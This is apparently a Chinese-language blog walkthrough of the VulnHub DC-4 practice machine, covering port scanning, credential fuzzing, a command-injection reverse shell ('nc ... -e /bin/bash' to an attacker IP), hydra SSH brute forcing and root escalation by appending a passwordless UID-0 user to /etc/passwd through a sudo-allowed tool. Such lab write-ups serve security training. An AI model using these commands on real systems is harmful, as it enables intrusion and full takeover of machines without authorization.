• VulnHub::DC-4


    实验环境

    DC-4_1

    本次只存在一个flag

    渗透过程

    0x01 信息搜集

    由于不知道靶机IP地址,进行D段扫描,获得靶机IP地址:

    masscan 192.168.1.0/24 --ping --rate 1000
    

    DC-4_2

    测试得知ip为192.168.1.58,进行端口扫描:

    sudo masscan 192.168.1.58 -p1-65535 --rate 1000
    
    Starting masscan 1.0.5 (http://bit.ly/14GZzcT) at 2020-07-15 08:50:30 GMT
     -- forced options: -sS -Pn -n --randomize-hosts -v --send-eth
    Initiating SYN Stealth Scan
    Scanning 1 hosts [65535 ports/host]
    Discovered open port 80/tcp on 192.168.1.58                                    
    Discovered open port 22/tcp on 192.168.1.58       
    

    使用nmap进行详细扫描:

    DC-4_3

    直接访问web服务,是一个登录页面:

    DC-4_4

    尝试进行指纹识别:

    ➜  ~ whatweb http://192.168.1.58
    http://192.168.1.58 [200 OK] Country[RESERVED][ZZ], HTML5, HTTPServer[nginx/1.15.10], IP[192.168.1.58], PasswordField[password], Title[System Tools], nginx[1.15.10]   
    

    0x02 开打

    针对用户名和密码部分进行fuzz测试,得到用户名和密码:

    DC-4_5

    使用admin/happy进行登录,发现一个命令执行网页:

    DC-4_6

    进行抓包,发现可以执行任意代码:

    DC-4_7

    构造payload:

    radio=nc 192.168.1.17 4444 -e /bin/bash&submit=Run
    

    进行反弹shell,成功:

    DC-4_8

    进行用户及目录查看,一共存在三个用户:charles、jim、sam;只有jim用户中存在可用信息,获得一个密码本:

    DC-4_9

    使用 hydra进行爆破:

    hydra -L user.txt -P old-password.txt ssh://192.168.1.58
    

    成功获取用户密码:

    login: jim   password: jibril04
    

    DC-4_10

    查看jim目录下的mbox文件:

    DC-4_11

    这是一封root用户发的邮件。

    /var/mail文件夹中,找到一封邮件:

    DC-4_12

    得到Charles用户密码:^xHhA&hvim0y

    登录该用户,发现可以免密码运行/usr/bin/teehee

    查看teehee的手册:

    Usage: teehee [OPTION]... [FILE]...
    Copy standard input to each FILE, and also to standard output.
    
      -a, --append              append to the given FILEs, do not overwrite
      -i, --ignore-interrupts   ignore interrupt signals
      -p                        diagnose errors writing to non pipes
          --output-error[=MODE]   set behavior on write error.  See MODE belo
          --help     display this help and exit
          --version  output version information and exit
    

    可以使用-a将信息附加到给定的文件,使用此命令添加一个新用户:

    echo "chalan630::0:0:::/bin/bash" | sudo teehee -a /etc/passwd
    # 字段解析
    # 如:admin:x:0:0::/home/admin:/bin/bash
    # [用户名]:[密码]:[UID]:[GID]:[身份描述]:[主目录]:[登录shell]
    

    切换用户,获得flag:

    DC-4_13

  • 相关阅读:
    Redis 主从复制与哨兵
    前端面试中让你困惑的闭包、原型、原型链究竟是什么?
    Chrome V8系列--浅析Chrome V8引擎中的垃圾回收机制和内存泄露优化策略[转]
    nodejs 制作项目目录树代码
    nprogress页面加载进度条
    koa2 从入门到进阶之路 (一)
    原生js 封装好了的ajax 带钩子版本 可封装成对象
    JS
    Javascript面向对象编程(三):非构造函数的继承
    Java 内部类
  • 原文地址:https://www.cnblogs.com/chalan630/p/13394630.html
Copyright © 2020-2023  润新知